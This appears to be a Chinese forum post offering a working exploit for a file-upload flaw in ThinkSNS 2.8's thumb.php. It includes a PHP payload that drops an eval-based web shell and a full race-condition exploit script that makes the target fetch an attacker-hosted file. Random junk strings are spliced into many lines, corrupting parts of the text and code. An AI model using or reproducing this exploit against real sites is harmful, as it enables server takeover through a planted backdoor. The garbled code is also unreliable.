Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
# v2 V9 q9 u( k7 S6 t9 Y+ C! ]漏洞文件
存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
) i; e- I0 r0 C& k* i) {- D文件内容如下：
. T" L0 @$ U% x& M8 R6 w# |<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
$ H/ M  l3 G9 ?( X: w- J
" F9 S: d+ i; @, s3、        上传临时文件。
9 _. f8 }( C. U3 ?6 v) u4 Q4、        访问临时文件。
# y' y5 e" ~% Y: i8 Y但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
" k% s: |/ A. t# S# L<?php
error_reporting(0);
4 N: d5 E1 Z7 b) Q# O, U% eset_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
: _" [$ g* z. p6 i$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
% u) W3 m. h6 \return $fp;
}
8 X7 E. s" U% h* R- s2 H! b8 b! Jfunction http_recv($fp) {
, E/ K: z! W5 F- u3 S9 _$ret=”";
while (!feof($fp))
/ l! S3 ~8 [& G$ret.= fgets($fp, 1024);
fclose($fp);
% F, I. k; l1 v6 t- k( `return $ret;
) R4 `/ T5 w# J' }  V& G. t}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
7 J4 O( {) M) f- O" edie();
}
$host = $argv[1];
$path = $argv[2];
; P. E8 f; Q6 p3 s$url = $argv[3];
5 j& ^) D* M" D9 ]8 G0 u, s2 C$i=0;
9 u' f) _6 n% c4 ?6 v- I4 Y//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
: G* J# j8 e) \  n/ T0 h$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
: c* x5 X7 l& h) z7 p//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
+ z, p" |1 g5 E9 v8 z2 ~$headers .= “Connection: close\r\n\r\n”;
echo $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
}
! L3 G' V, O# F$ t$ ffclose(http_send($host, 80, $headers_up));
7 a! x* P% X* ]) w9 c: dwhile(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
' P; A& d8 E4 Y8 W) O$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
1 h9 u6 W3 E( F1 [3 H0 r- w$res=http_recv(http_send($host, 80, $headers));
& u  f  B* y, O* N+ U/ n" \if(preg_match(‘/200 OK/’,$res)) {
9 O' ]. E3 o  x( aprint “Success!\n\n”;
: B9 @% R9 s+ H% k! }5 ?} else {
2 o9 W6 v- N5 L" S  Q) [print “Fail!\n\n”;
}
?>
​